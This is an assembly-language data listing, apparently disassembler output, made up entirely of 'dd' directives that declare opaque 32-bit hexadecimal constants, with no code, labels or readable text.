		dd 0B7890091h, 0A7A25347h, 88501BDFh, 0D70F9708h, 0E0CBF152h
		dd 0F0E1C18Fh, 3BFA094Dh, 700486CDh, 0E9894443h, 9B039C90h
		dd 14DF239h, 70D20A3h, 4280DAEFh, 0AB2073E8h, 39D1D5F5h
		dd 0A0077B03h, 60AAFA68h, 0FC38336Eh, 4D303503h, 90530C07h
		dd 1C82A2ABh, 0C27ABAA7h, 0DAC40292h, 0A00E0468h, 0B3F5A00h
		dd 0DE55DDEDh, 1802023Bh, 0A825D9E8h, 0EF008444h, 0A5E6BAD1h
		dd 24E4031Eh, 0CEB9945h, 0DC49729Eh, 0BDC3E005h, 0A4407ECDh
		dd 730DDF2Bh, 0B07C0953h, 8A5705EBh, 8E81A0E5h,	75EA615Bh
		dd 4A227022h, 5017B700h, 0E27E0980h, 972801C9h,	7DDEE12h
		dd 22B7E4CCh, 9CAECCFDh, 0F3712917h, 2AE12030h,	1EBCB05Dh
		dd 16C330Dh, 24678909h,	0BE88407Eh, 9437392Ah, 0DA10B0DEh
		dd 908C6C55h, 0CF55CA0h, 0B99E485h, 6810CA6Ch, 70E84E7h
		dd 0C96C68h, 93B2B7D4h,	14160F55h, 53FFA642h, 2A2C00D5h
		dd 0E3B0C41h, 8ED7333Ah, 0E0BF9377h, 7047B48Ch,	8FB1C1E6h
		dd 0F2E140B9h, 1244464h, 66110C3Ah, 7A20AC41h, 977CE6h
		dd 6C575879h, 1374FCE3h, 0F07D6909h, 60060C2h, 52840B72h
		dd 0D498B0FDh, 0AF00EF36h, 90C824EBh, 2E023933h, 60A45216h
		dd 1ED5E2AEh, 37C244Ch,	0FEE0F160h, 6A611534h, 6058CB8h
		dd 0C0D58D6Ch, 40B5C476h, 602EA890h, 3D011BFFh,	0AD10ECFAh
		dd 253DD062h, 0EBC9C0F3h, 88225A76h, 0C6800C94h, 7B358EADh
		dd 869005E0h, 8856F077h, 7D67E1C8h, 0C09ACCA1h,	0CB9D1E80h
		dd 0DCC74Fh, 92E2BEB2h,	73FC9B28h, 0FA40CC02h, 0A4B010EDh
		dd 35CD40h, 0DC312238h,	0EF11F1EDh, 0AC5B7ECAh,	71F9007Ch
		dd 0E127258Ah, 33F475h,	4A301694h, 7291AD2Ch, 0CA8BFD09h
		dd 59300152h, 387017BCh, 29860DF2h, 0C0D9E889h,	0AF000C87h
		dd 0FF5DEA43h, 2291E92h, 7973E967h, 74CE352Bh, 8074CC4Ch
		dd 0CA5163C2h, 0AE540005h, 0CD3C168Ah, 300058EBh, 0C5102EA7h
		dd 2C976709h, 0E85445E5h, 30878040h, 0ECC9B15Dh, 602E7600h
		dd 432DBCA8h, 0BA0894DAh, 30B6D080h, 89240905h,	5EBE7400h
		dd 49DE5DFAh, 0ECE229EDh, 0FC7606F0h, 0C4483957h, 496380F8h
		dd 0F84A07BCh, 67FC04CEh, 0C0ACD530h, 0E1A09DB6h, 0BC04C373h
		dd 3C06D9B2h, 8D0008B2h, 0C38AACDCh, 4B001B24h,	30380F3Ah
		dd 5D103973h, 7D1414A1h, 5C81E4F3h, 410E8175h, 70573DA0h
		dd 5218B8A0h, 0E79968DAh, 96E6022Bh, 75ED7D0Ch,	73442852h
		dd 1A6F00BFh, 22B02D8Bh, 0E00C958h, 0BB6CE719h,	3A9CD025h
		dd 6F072728h, 0F050D610h, 4905613Dh, 0E53E5CF6h, 74CC98EFh
		dd 0FD44D59h, 0CA98A25Bh, 0F6A00A4Eh, 7699C787h, 0A5F06909h
		dd 70388364h, 8F8113E5h, 12E060BDh, 0B8073B9Bh,	0CE0F3E87h
		dd 7ABCD2C0h, 1E4D0048h, 180B11B1h, 332A6338h, 7E15501Dh
		dd 58A4EB13h, 91E91990h, 0ADEC4361h, 5427146Ch,	4E0034DAh
		dd 0DE34F9A1h, 0E70135CDh, 0F37E56AEh, 85D84219h, 3D300012h
		dd 454349EAh, 0B000CF9Ch, 0D1DC227Eh, 1AA7429h,	8C0A2AC9h
		dd 0FD667326h, 7ABC4296h, 76654820h, 1339308Eh,	382A69C2h
		dd 31854E00h, 11C8456Ah, 0E2A6009Bh, 0E4081EFDh, 0BB4BF48Ah
		dd 250C1C44h, 9FE18A4h,	0C5329A62h, 22BD4068h, 416BD300h
		dd 8B558F58h, 9357120Ah, 744C014Ah, 48BDFA70h, 14996880h
		dd 6BE87305h, 0E96AE0C8h, 757E0610h, 0DAFFB500h, 0CCE9B30h
		dd 0A164F9Eh, 0CBACB75Ch, 44DC3CA0h, 0C513F202h, 58926B55h
		dd 0B8E11074h, 0E67E3618h, 0DF356E89h, 8A965031h, 7E89D42Ch
		dd 69378CEFh, 81172C08h, 74E00EB8h, 6A1AD043h, 88DAFCE0h
		dd 0DD178CA4h, 93008B33h, 0CF5ECE02h, 17E9C17Bh, 0D4AC29DCh
		dd 4226E89Bh, 85002537h, 3E93418Bh, 0D87A035Bh,	8FDE2247h
		dd 8360197Eh, 72D1E781h, 48C300CBh, 520427A2h, 8D285D23h
		dd 705F41Ch, 8EEA7EDEh,	66E65803h, 0E99CE8Bh, 0DE7A1033h
		dd 0E2AB5020h, 0B502CDA8h, 70396530h, 0AE4489Bh, 0E68700EDh
		dd 0A125DE5Fh, 40B851A8h, 0A740677Bh, 3D891C5h,	25AA8A3Fh
		dd 0C7E06FE8h, 4FE7B20Ah, 140FB0F8h, 636C0F5Bh,	0CFC42A01h
		dd 0EA444A9h, 3ED0620Ch, 0E4779700h, 0C776D779h, 0C455E000h
		dd 6B32BAA3h, 7C3A48BBh, 3015B402h, 8864CE77h, 80B8C458h
		dd 2ADA0A09h, 0D5EB1CC8h, 0C92D89BFh, 30813C32h, 72D2FAh
		dd 24369BB9h, 4224FE4Ch, 0CC05A792h, 725DD421h,	198C33D8h
		dd 309A8A50h, 78EF11C1h, 0E53C0915h, 0C531E810h, 0ECB0D573h
		dd 650D7318h, 2520EA1h,	278A0F02h, 66C1F207h, 36342443h
		dd 6A684950h, 3526E88Bh, 0F609074Fh, 12570D59h,	648513A2h
		dd 80A7A3h, 583EBF6Ch, 0CD1915h, 9A430627h, 1BF13469h
		dd 7014EF67h, 10C09945h, 413B7790h, 6B789185h, 9596200Eh
		dd 0F1F0B700h, 3E018CE8h
		dd 4F306914h, 7440E770h, 27AA55D9h, 88036C4h, 49AF6B31h
		dd 1DC81305h, 0B0043373h, 0DC21F2E0h, 777870A4h, 3044FF4Fh
		dd 9888C27Eh, 0D802504Dh, 0A8F448CBh, 0EB101448h, 4AF68480h
		dd 2010DD49h, 0A3008BDAh, 8CC86088h, 0F85C61h, 0C1D0B01Bh
		dd 0F0EB6FF4h, 0B817F72Eh, 6419F99h, 7613E826h,	49289027h
		dd 50060E1h, 7F5EECE0h,	985D9117h, 0E6A444Ch, 480C4226h
		dd 0C4056E02h, 0B980A0F4h, 756FA525h, 0AB2600E6h, 702455A0h
		dd 1C5222F7h, 42E910B8h, 87EC7E0Ah, 54CE0C40h, 9D6BC4D1h
		dd 0DA5A00F1h, 22A1B58h, 0E54FFC07h, 0DEC08DD6h, 5E01202Dh
		dd 43874CEFh, 6C407EF9h, 70020Ch, 4D3A0AEAh, 0F644EB6Ch
		dd 784380A4h, 0BCC429h,	0E16C876Bh, 813FEDF9h, 0E117D22h
		dd 0F3116D44h, 0E373127Ch, 0E0DB0023h, 0C939A92h, 9C0F7047h
		dd 0D49E8919h, 39E97A80h, 6F0D1Ch, 51663D02h, 128E5024h
		dd 0F9F6D314h, 707E31B7h, 4182F8EBh, 0D8396BBDh, 0E54C1C44h
		dd 0E430937Ch, 160DFD6h, 7DE37AF6h, 0DC4CCDD8h,	7C0997B3h
		dd 40FE41BFh, 0A84A3ACh, 65DA3863h, 0A44D80B0h,	49DD9BA7h
		dd 0E3588670h, 7C3602E9h, 417DA3FDh, 5C108BECh,	0BC7BE8FFh
		dd 98969890h, 26954D40h, 1D5900A5h, 0ED6CC3E0h,	9E002ECEh
		dd 0D5F1DCAFh, 2527F370h, 1093FE43h, 64AA8839h,	0CF324DF8h
		dd 1227E428h, 41E4C0ECh, 355C804Ah, 0D08D7430h,	0AB7C8CEh
		dd 79107E0Dh, 4A271D48h, 8F8548Eh, 9344F7F4h, 0C862DD44h
		dd 0F57B4EB8h, 9F78701h, 8D2FFCAh, 21A0E889h, 4C305400h
		dd 0BA02A427h, 4F705D38h, 6064D89Eh, 0B0747177h, 0DC163114h
		dd 0C81C36FFh, 0A0C2ACCAh, 4D433B44h, 79127CDFh, 8600488Dh
		dd 6510B546h, 3C892F43h, 977A6358h, 7E608BE6h, 4A457639h
		dd 0D780002Dh, 0FC55D8EAh, 12EC9CE8h, 10C5A0C9h, 0E0B2078h
		dd 0CAC231F9h, 3D05B060h, 94A06177h, 88398D92h,	822215h
		dd 0B0EDFCF1h, 0FD08CB62h, 86000A70h, 0C4BE1D03h, 96D3AAFh
		dd 59F9F10Bh, 0BC9E4C16h, 1508D0C8h, 0FA760995h, 24C4D8E9h
		dd 0C2F48FF0h, 0CE8CDC00h, 9D508185h, 1AE80E59h, 3EE5EA7Ch
		dd 3A278379h, 27B66FF8h, 11446C30h, 5017B875h, 4284AC95h
		dd 5A4922C3h, 0F2A440CCh, 3F3A9DD6h, 94E093Ah, 7B9E29Ah
		dd 88C8B8A0h, 768B7BFDh, 44E5F1h, 0D7D44EDBh, 0C6007A39h
		dd 230F683Ah, 162F9664h, 0DC10B99Fh, 9BF067DCh,	0DCC5332Eh
		dd 0F7EC7D40h, 87D907DCh, 0A2949010h, 0C0616443h, 0C9350CA4h
		dd 4448DD49h, 0AA1F66B2h, 0B100FD47h, 521892D2h, 89580154h
		dd 68B54A9Dh, 5C5020D7h, 84632041h, 38810079h, 752F7703h
		dd 4F00CE66h, 0EA2419E7h, 12B97FF7h, 30541B96h,	8810D05Ch
		dd 0B70008A2h, 0BEA5FDF8h, 2D008979h, 0BF172E41h, 73EDF595h
		dd 9844B01Dh, 0E48349D0h, 0B0336F14h, 0E512C421h, 5D4DE0D1h
		dd 987058DDh, 90CF00A7h, 3CBAE602h, 0A01D3992h,	420B9564h
		dd 0F4C5FEh, 0FAF9DB93h, 7D00D218h, 0F30AEEE7h,	2EC1C895h
		dd 3B1821DDh, 5848F0A8h, 38A0DC86h, 701288CEh, 9804819Fh
		dd 5CC57C80h, 65D1AC30h, 9CE7059h, 1A81B43Ah, 9D679420h
		dd 6150DAA9h, 6B86FCD8h, 3804A966h, 0F3B94090h,	0A0CC10E1h
		dd 28438E80h, 446892F0h, 1EA8469h, 60C8850Bh, 0FC03066Ah
		dd 0DE3B0030h, 1819371Bh, 0EA00E21Fh, 0DA22326Eh, 366310Bh
		dd 0FC7C8CDh, 0D917E97Eh, 5C04616Eh, 3E32747Fh,	796F44C8h
		dd 0BEE673E0h, 1080554Ch, 6288F150h, 35040696h,	48C8DA2Bh
		dd 78181E85h, 0F59A0015h, 0E5F2D4B8h, 628CA001h, 30C32AA7h
		dd 6C18F440h, 377C0E11h, 288E19DCh, 2A225726h, 0C1657A2Ch
		dd 90A83100h, 1DBB911h,	0A253922Eh, 88DA34DEh, 669303B8h
		dd 0C0AC9047h, 585EDE00h, 11D5863Fh, 0B4B70288h, 8BD09512h
		dd 0A1EEB240h, 2ECCC959h, 3C081CA7h, 0D8D514B9h, 7C784C2Ah
		dd 0D738031h, 0C360C8B1h, 0A9A2E7h, 2246FA6Fh, 8A94F0C0h
		dd 0D08BC913h, 9A141C44h, 0FE423607h, 52C0A094h, 806CC520h
		dd 9D841A4Ch, 0CD12C12Eh, 354404D0h, 40040928h,	5C583316h
		dd 0B513F4FCh, 6714DE42h, 0C2A93C64h, 45448478h, 92A10083h
		dd 448BB578h, 0E71867DEh, 0D0A18512h, 72C781C8h, 0E1DB00C8h
		dd 4FE0E502h, 763A2CA1h, 12806200h, 0F70EA8D1h,	0B95DE0C3h
		dd 503DFDA8h, 8748A0E3h, 2698213Fh, 0F08149FCh,	0C414F0CFh
		dd 68007D10h, 7E529A5Ah, 0D1D4553h, 38CB4A28h, 12FED9A8h
		dd 0E7CF2144h, 7E4EC422h, 1278A58h, 968424BDh, 1473EF42h
		dd 0DA3C2B09h, 0F0B69048h, 0EB511B02h, 82B5D701h, 11F315A0h
		dd 806F10F5h, 9AAF606Bh, 0DD53B35Dh, 5402892Ch,	121F552Ch
		dd 8667A0EEh, 0D75FB8D0h, 0BDBA0090h, 1B721914h, 300554A6h
		dd 31A187F2h, 0E9704C71h, 0C7D48415h, 22FD9450h, 3B762238h
		dd 504C38EAh, 45891202h, 61664F2Ch, 0BF1144E8h,	4CEC29CDh
		dd 4E007A08h, 8AE670EAh, 70663BEh, 0F67FA931h, 8751E116h
		dd 2E8871C4h, 0A391004Bh, 0C471EB88h, 0A4FA7044h, 810F7454h
		dd 87FECCBAh, 0D6F34907h, 6D30220Eh, 0AC05D528h, 80211143h
		dd 72A40A01h, 0B9893032h, 0ACA482B4h, 0CD875C84h, 21100D71h
		dd 959024h, 65F1F8DEh, 0AFF27F0Ch, 5875092Ah, 3405CF70h
		dd 0FE15F9F6h, 88D634C8h, 0E304DC0Eh, 3A768487h, 97C474B4h
		dd 0D1477820h, 9E0727AFh, 96BB6B41h, 991F4AAh, 40E64D09h
		dd 24175844h, 8E03371Ah, 0E171BCCDh, 0C9E07CE2h, 21260125h
		dd 2BB2EFD9h, 92A8BF57h, 6A00D7ECh, 0AE4C7CD2h,	41F800F5h
		dd 3996F10Eh, 0A800F75Fh, 6E36B59Fh, 43A5B87h, 3570AA6h
		dd 10B4E294h, 4312EC40h, 3F50C8F4h, 44E0D962h, 0D4D868B5h
		dd 974484F7h, 0E6C304A2h, 0C48925F9h, 0A0DC8C7Ch, 80F4DD38h
		dd 0E88A3C1Ch, 0C96A4Bh, 76075998h, 0A4D8F5E6h,	0A5891CB4h
		dd 68A28936h, 1D17D3E8h, 7F13C9F4h, 0BC106048h,	0EB1592C3h
		dd 66DA1820h, 5453A71h,	857841CAh, 70B42244h, 44CE7602h
		dd 10C35890h, 0C1C0A84Ch, 0E0705234h, 0E78148B4h, 3196FFC3h
		dd 0FD4C7888h, 38CC524Fh, 2982453Ch, 14F802D0h,	475C603Dh
		dd 76E5087Ch, 985C10A7h, 23E21E6Bh, 2402A555h, 1C11C228h
		dd 7010D513h, 5A7E80F0h, 0E6C422F2h, 0A509F119h, 0D74410FAh
		dd 0E16F1201h, 0A5A044B4h, 0A0CA27F4h, 79423489h, 50617ACh
		dd 40569A0h, 4B73D9A4h,	6F1C903Bh, 36C909E6h, 40813017h
		dd 6ADBD3C4h, 2DA8F0h, 3FFD9C6Ah, 0B5859A3Ch, 53678601h
		dd 89CF7ECCh, 26FC6ECCh, 6258729Dh, 648445E0h, 2164E26Ch
		dd 2DC524E9h, 0A0065C27h, 0B0E37B11h, 0D9E47A31h, 1508F031h
		dd 136F39C0h, 14B3C1CAh, 60DF81D1h, 8F48B100h, 0F74DB2E2h
		dd 152A8D06h, 0B1D05CDDh, 5397649Ch, 0B813B001h, 6BF0BE58h
		dd 0F5C88B9h, 6F71DAF4h, 0ECA43000h, 1629E0C1h,	572E2EE2h
		dd 759808F4h, 48A6BF12h, 0F265B20h, 3CC2D893h, 88511C2h
		dd 21CA222h, 25A56AD8h,	1D404A9h, 1C610976h, 0DA302700h
		dd 3C310C99h, 0F7DC103Ch, 1291078Fh, 0B008321Dh, 946816Bh
		dd 2C60F299h, 0C8D009Ch, 22CBF96Ch, 23ED04C3h, 0C1C2BB63h
		dd 8563B30h, 72F821EBh,	6F115C4Ah, 904D0E14h, 91D1816h
		dd 44307D34h, 0B709E149h, 64531905h, 0C1A85C10h, 0F3E8904Ah
		dd 1F0022B1h, 0CA65BEE3h, 9252D94h, 14369A64h, 4D12A816h
		dd 1C8139E8h, 102CCB20h
		dd 5C47EB27h, 0FE03423Eh, 45D54CB3h, 0DA311480h, 41433C92h
		dd 38397D32h, 9CA58C60h, 5C3FA380h, 0C8D27879h,	0FD42481Ch
		dd 81A02019h, 38F448FCh, 5C663100h, 245701E5h, 23375B70h
		dd 71D6360Ch, 0C5513440h, 0CBAF7E24h, 0F44208B0h, 32DC24A5h
		dd 19184DB8h, 0C2D4B691h, 3840A1CFh, 0AF02ECF0h, 4088DAACh
		dd 50F0B40Dh, 4458A892h, 8225C2F3h, 5BB890A7h, 0EC91CFh
		dd 33F23D67h, 31169BB2h, 34C8FC77h, 163D8CC4h, 0E55B0492h
		dd 0C8A81ED5h, 43A028DFh, 71343544h, 8A07F8F2h,	90AA62A5h
		dd 0F92CC4A0h, 7D93BE00h, 51BB48A7h, 8157195Fh,	0CBB86Ah
		dd 8883886Eh, 0A000CD4Eh, 0C5C7B71Bh, 0B9D338h,	0CF427228h
		dd 3221DDCCh, 0BF780898h, 0F20BCB76h, 963357E6h, 340705C8h
		dd 802317Eh, 896451BCh,	340134B7h, 4B888246h, 45F5CCA7h
		dd 830A0C7Fh, 0F4A20941h, 4666188h, 8C773DA3h, 1528888Ch
		dd 5C438CBCh, 31A02716h, 84485Ch, 1E4DC30h, 64D011Dh, 0F0342A70h
		dd 0D9001189h, 1FFB4075h, 246EC8E2h, 1C24D1F4h,	828F9635h
		dd 362269D4h, 0A884055h, 0F177250Bh, 130014E4h,	6B89E7BBh
		dd 0FC6CA349h, 22294FF9h, 1C4CF2D8h, 3E96A822h,	2244EAE1h
		dd 2736DA01h, 4F3353A7h, 94CC7BE0h, 0A3468808h,	0C9A85514h
		dd 9CEE0Fh, 6F263B88h, 0F5775CFEh, 8BA51800h, 0DA86CBEh
		dd 0F9E10903h, 607873CDh, 0C0D0C74Ah, 0F396A9h,	43D9D5A3h
		dd 0F74DC23h, 290F5D7Fh, 0FE2E01B3h, 0AD0100E4h, 4D2D45C2h
		dd 6C00202Eh, 0BF3F7B38h, 0C45CCDh, 46061FC5h, 121BFEB4h
		dd 3453189Bh, 846884D0h, 0DDECC8E8h, 93006CB9h,	0A1E6D0F2h
		dd 301E5487h, 3BFE00BAh, 0E9AA485Eh, 7801D021h,	1C623C0h
		dd 8C4117FDh, 3422F3E1h, 20023789h, 20F0877Dh, 166AE421h
		dd 85283468h, 852C3458h, 88108758h, 28B0C345h, 21FD420Ch
		dd 717000ABh, 7B461AB8h, 24EB152Eh, 1347B99Ch, 0E9FCCC6Bh
		dd 864000C4h, 7AF1F0F2h, 0DB58B849h, 109F78DEh,	1C0872Ch
		dd 0ECF2EFD1h, 611CA5B0h, 931C6CA0h, 6407A009h,	359D0760h
		dd 16BBC5h, 917D3806h, 10400249h, 0D088FE39h, 7DFF4385h
		dd 0C6FF098h, 63E15875h, 0A8A69B9h, 0BAC070A4h,	970CA8Eh
		dd 0DF6CAF4Eh, 77272C4Eh, 174E63Bh, 299BF128h, 63E17038h
		dd 0A0A440C4h, 7C16CE11h, 0BCFC4496h, 40300E8Ah, 57587173h
		dd 9A0E2570h, 3BEE2C4Eh, 29032B00h, 35A97E23h, 36CC0063h
		dd 93617FD7h, 714A0C17h, 46F4C21h, 3BED0AC8h, 586559E7h
		dd 6BC4CCE1h, 0F7588886h, 0A4FD53F9h, 0FC96FA22h, 0ECB4C08h
		dd 14C13136h, 0BC7733E2h, 0EA3D14C6h, 3F03C5DCh, 808030B8h
		dd 414820A7h, 97504300h, 0EBDD680Dh, 7F8937B3h,	99B4F0E1h
		dd 1C480179h, 9AB92170h, 8CC1A123h, 0AC4B6E6Ch,	0B828EBDDh
		dd 2C0F5Fh, 938FB152h, 0E1F266CCh, 0B2C3A020h, 0AD9E44F4h
		dd 1C90C44Fh, 1826432h,	99F1A1B6h, 0E445A893h, 5658DAEDh
		dd 75CF10C8h, 6C493B88h, 0CCE4815Ch, 5F6912E4h,	0AF7C28BBh
		dd 0F025D0C4h, 7E212922h, 242A7DC2h, 8BD8B280h,	5038019h
		dd 0D276788h, 17F10770h, 107EF591h, 5CA1EEC3h, 524F1059h
		dd 603CB450h, 7284A0C4h, 759BF08h, 0E010F822h, 0A02684C2h
		dd 8098695Eh, 0CBDF1377h, 900190Ch, 225916F9h, 48ABD2B6h
		dd 8513A806h, 0C0808775h, 8FF83ACFh, 2BE6140Bh,	0CD5C8002h
		dd 1D85274Eh, 1963D7F5h, 0FAB39EAFh, 6C735862h,	1148FC15h
		dd 5D01A731h, 9FF0B50Fh, 0E074606Fh, 6B184109h,	26A0508Bh
		dd 0ACF87CC5h, 731138h,	0C99FFDFh, 6CAB6Bh, 8DD218DEh
		dd 0BDAD294Bh, 2AC81107h, 0E6F0E760h, 74336EEDh, 0F46C00E2h
		dd 7D31ECF8h, 489A8F4Bh, 0DF7818B5h, 0AA3427E3h, 321CA404h
		dd 0E4DD2467h, 0C53DCE9Ch, 0FE9182EDh, 0E0C25ADEh, 9FC9A02h
		dd 3FCC142Bh, 52FDE082h, 90CD00EAh, 77F24384h, 8A5BB8A2h
		dd 1125001Ch, 73943534h, 9A6F0A4Ah, 62A8D436h, 0FC21A01Dh
		dd 0F07CBC32h, 0C11C9012h, 827DCD64h, 0AA4D4461h, 603B6272h
		dd 583D8124h, 0D8D32076h, 0FB000CF0h, 7A1AF91Ch, 81EADAAAh
		dd 8A200C74h, 31412056h, 40DE91FFh, 1305E10h, 21020FF3h
		dd 3B7CA1ADh, 77575420h, 326A285Eh, 9E1D1594h, 4D2EF422h
		dd 860F0281h, 0D868E90Eh, 0D22E1B5Ah, 6F137483h, 877A2F01h
		dd 70D1F5h, 80B348C1h, 0F85AC789h, 0AD9FB100h, 0D47186Fh
		dd 2F570051h, 0F55AE449h, 3D09B8A3h, 99E93E36h,	4BE8EFCCh
		dd 86200B70h, 7D81131Bh, 0DC1DD468h, 0D2021AA2h, 6B0B120Eh
		dd 0C554C98Dh, 52B9130Bh, 69B79830h, 0FE4D0016h, 357EB027h
		dd 0BF08D9EEh, 838589F2h, 0F83B3C86h, 0E4D5BDA0h, 7A54940Fh
		dd 0D4E16342h, 0E808BD8Ah, 66308010h, 55A9755Ch, 0BB9C0206h
		dd 208BE25h, 0B836F83Ch, 6C41A3EBh, 5461A497h, 73584824h
		dd 9B4E3A96h, 84DA921Eh, 0B8A36662h, 0C30B8098h, 0D69BF6h
		dd 784BE29Ah, 20820A71h, 0BA36C401h, 11F6EB47h,	5DB5F9C8h
		dd 277A548Fh, 0C4CC72A5h, 9B94AA00h, 609213F9h,	5F1200C3h
		dd 0F1D955FDh, 750126E8h, 0CDB86914h, 742FC043h, 0A2F884F4h
		dd 70373188h, 0DD088C9Dh, 0A88484h, 67D67699h, 8ADC600Fh
		dd 9ED0C839h, 0AE3FA35Dh, 0C016B926h, 68612858h, 0C73808Eh
		dd 0A0C04748h, 7BEABA6Fh, 553F2E0Bh, 46390182h,	33A73C61h
		dd 0AAAB00A8h, 0C04CBC64h, 38ECF8h, 30A8B268h, 671DDA77h
		dd 0C125B0A3h, 0FAB022A1h, 0CDB62297h, 0D60E38D2h, 4F1F73Ah
		dd 8C04A925h, 207422C3h, 64E9DD5Ch, 900858D2h, 0AE60826Dh
		dd 1481773Dh, 60150543h, 68948B8h, 6B80806Ch, 8B198886h
		dd 0A28DE605h, 94C68E13h, 7EA51F5Ah, 0E059B5EFh, 0F7426090h
		dd 0E78E4473h, 0FCB99044h, 0EBBB1639h, 0C7600B3Ah, 81DDB018h
		dd 6FB06563h, 51FE84Dh,	0B5ED1C34h, 41E8CB3Ah, 0A87B040Bh
		dd 0F81C5200h, 9CE0670Fh, 0F46908E4h, 0DCA99C44h, 7C195AC0h
		dd 0B048D89Bh, 6AF70B30h, 0EED4D00Eh, 148848CEh, 974ADF80h
		dd 6D003710h, 2B1DE1FCh, 77890758h, 4D3005E5h, 848699DAh
		dd 2134B8B0h, 319791ADh, 0E94EF092h, 2670B005h,	0F342DB18h
		dd 56DF9h, 0A3C820C4h, 27DABCCEh, 6C24D37Bh, 6600B0BAh
		dd 88134737h, 0E17B00E4h, 2C0D5B86h, 0C200E570h, 3DD7F46Eh
		dd 58A6FA0Ch, 2E74B0E4h, 161CBA62h, 0C2F0E49Bh,	0EC307F4Ah
		dd 0B025403h, 0D3438B6Ch, 0A4CD1484h, 9000C7E8h, 3525A58Ah
		dd 5AA66801h, 9B56F051h, 0BF1D7500h, 19FA7B40h,	0D4B1008Eh
		dd 0DAF30EE4h, 0D3CE574h, 0F6470CD6h, 53618D1h,	0D79AE316h
		dd 0A480AFA2h, 0F6E851EBh, 38E56EE7h, 8012F0A5h, 0DF3FE9C1h
		dd 5DC5600h, 0A0BD61AAh, 6EC99h, 3C6FE166h, 1FB1F695h
		dd 4DCC8E0Fh, 0DB8D6656h, 32301D49h, 9DD10071h,	0D62D7AAh
		dd 0B537E300h, 56AD4252h, 0DF460C26h, 0D130DE54h, 6047443Bh
		dd 0B31994A9h, 504B0039h, 0FAA278E6h, 0E5F012E7h, 0D9C09875h
		dd 22EE3F0Bh, 0F06A005Fh, 0A1AC19D9h, 50CE0FA8h, 0CAFC80E4h
		dd 3B4590D7h, 88D2BDDBh, 75B0D922h, 54CF1A00h, 0E1ABAD39h
		dd 0D0210069h, 27F95BF0h, 11386DF4h, 8EEA3C8Eh,	0A3D90243h
		dd 14DCB88Fh, 14915911h, 46B91Eh, 0F6C1AF8h, 4C00CFE2h
		dd 3B32A3A4h, 1C8F621Fh, 437309B3h, 0B892516Eh,	74DDDE0h
		dd 989EC20Ch, 0A8A1FDh,	0A235FF71h, 0F701AFBCh,	2F7F9F00h
		dd 0C8700834h
		dd 0FB16009Ch, 0A3D9F14Ah, 8E05CA0Fh, 0F50BA723h, 0A08FB780h
		dd 0E10A004Fh, 29609BA6h, 30004CD4h, 693B8EEFh,	0AB54A9h
		dd 0B6AFB5E0h, 2E2BF032h, 92D83D54h, 8EF82000h,	94B71226h
		dd 794B07D9h, 51B4BD40h, 22F22EB9h, 57E00C1Ch, 0A09F392Bh
		dd 529660h, 0DAA41B05h,	0C901B3DEh, 6DB0F10Eh, 7F6FE0A9h
		dd 0A2EA0BCh, 0DE63DFB4h, 0FE1120h, 192F5E46h, 1C5A8D0h
		dd 433F63E7h, 70038735h, 0CF024613h, 15B1E12Eh,	0A13849E3h
		dd 7D7AC8h, 7BBA2849h, 0BF067305h, 0E998E218h, 33FB59h
		dd 235AA2FAh, 716BF96Eh, 0E86050F8h, 0CCDE0E21h, 3191C430h
		dd 0F19C8969h, 5446D258h, 21F544h, 9E43C539h, 8036483Ah
		dd 83ABC900h, 0BA3E75F5h, 90650059h, 45E2E1FEh,	64F67CC8h
		dd 0BB795698h, 0ACAF3D3Ch, 0B0125E61h, 8115A400h, 0CFCEE12h
		dd 397D3111h, 0DA671499h, 79F19581h, 0E02B1B53h, 7700D90Bh
		dd 455E8093h, 0C27A155Ah, 64313929h, 14307444h,	0B581951h
		dd 0EF79CEh, 0CD1E7C80h, 174FE83h, 0DC463F19h, 40CC4531h
		dd 47B2009Fh, 0F158D53Ah, 850009FEh, 931C7865h,	410CBADBh
		dd 0D1B6EBF3h, 6D56DE00h, 9FCB0FB0h, 0E0ACA8FFh, 0C0C600CEh
		dd 842D5185h, 0D100DD21h, 9FE22E58h, 487B4875h,	0B93CF50Dh
		dd 0E167E880h, 0F692E457h, 0C835302Ah, 6B0FB61Eh, 6AE93F41h
		dd 8C80C2DDh, 29F0E808h, 62017392h, 2A83CFDBh, 0D0B806D4h
		dd 0C7A054h, 0A64D72A7h, 5084C670h, 4900AE90h, 19E3DB4Eh
		dd 57C0FBAh, 3127109Fh,	0E29C318Ch, 434B02E5h, 76840177h
		dd 0AF5D7A05h, 32B086FFh, 469066Bh, 0A5A24093h,	8F80CCE5h
		dd 3AFB7600h, 7CF7F166h, 453D0787h, 346BB8B9h, 9408350h
		dd 4F8E30C7h, 6A18312Eh, 0DE78D91Ah, 3CE749CFh,	0CA8DEB02h
		dd 0BC62D4D3h, 0C67D5080h, 79C0E5D8h, 2E74FBADh, 0F1D48837h
		dd 7A65200h, 0C67A6238h, 1487FEEh, 3035967Dh, 895AE159h
		dd 9EF3B9h, 0E629E3F1h,	0C78C034Dh, 0C9C466FBh,	22721D80h
		dd 7CEEF800h, 138F4A28h, 60197B27h, 2684386Bh, 0FA549059h
		dd 680067F8h, 755DB882h, 48B64D1Eh, 23806015h, 1D2C4A7Ch
		dd 21E6D709h, 9B40087h,	815C0Ah, 0F9E7D43Ah, 0B80F568h
		dd 0D8BB5D00h, 1B78F1B9h, 0DD7F0B63h, 7F830FFBh, 8A847537h
		dd 8E3C3B90h, 208C3B6Ah, 0FD6241C4h, 30771CB6h,	3A907D1Bh
		dd 0BFD102F8h, 807951F2h, 4429DF08h, 0F8C20DBh,	92B6E43Bh
		dd 6421BED5h, 0C24D847h, 27C71C5Ah, 456C4035h, 0EA03C270h
		dd 9720C090h, 65DA26FBh, 1E9C483Ch, 0B3C078Ch, 0A05357B9h
		dd 26E855D2h, 0EEF5CB06h, 39C9E0h, 2D8E1ED1h, 7A984776h
		dd 0EF42D202h, 0E2F1655Ah, 63388175h, 411D1F7h,	2B2C30C0h
		dd 0C3B1470Eh, 79F26CD5h, 0E05919E1h, 0BEBE91E5h, 0CD0A7961h
		dd 14CC7BD5h, 8FF65A08h, 193898B1h, 0F900E3D0h,	3785EA4Ah
		dd 48AF0602h, 15806C29h, 0E297D01Ah, 0CB5B100h,	39AC10E5h
		dd 690A639Fh, 0A91EDD47h, 97805E1Dh, 0C602770Fh, 0B49021h
		dd 0D19F3076h, 7B57726Bh, 0EA099C99h, 184700ADh, 0CC0ADEh
		dd 0E7BB16EFh, 1FB60FB1h, 0EA15F31Dh, 0A080F71Dh, 0C6E96340h
		dd 748D7933h, 8BA1C030h, 0C97D204Dh, 0B8E2DA7Fh, 964DE0Ah
		dd 0BB3B9456h, 0D59F861Fh, 0AB10DB2h, 47C8E8E1h, 19094690h
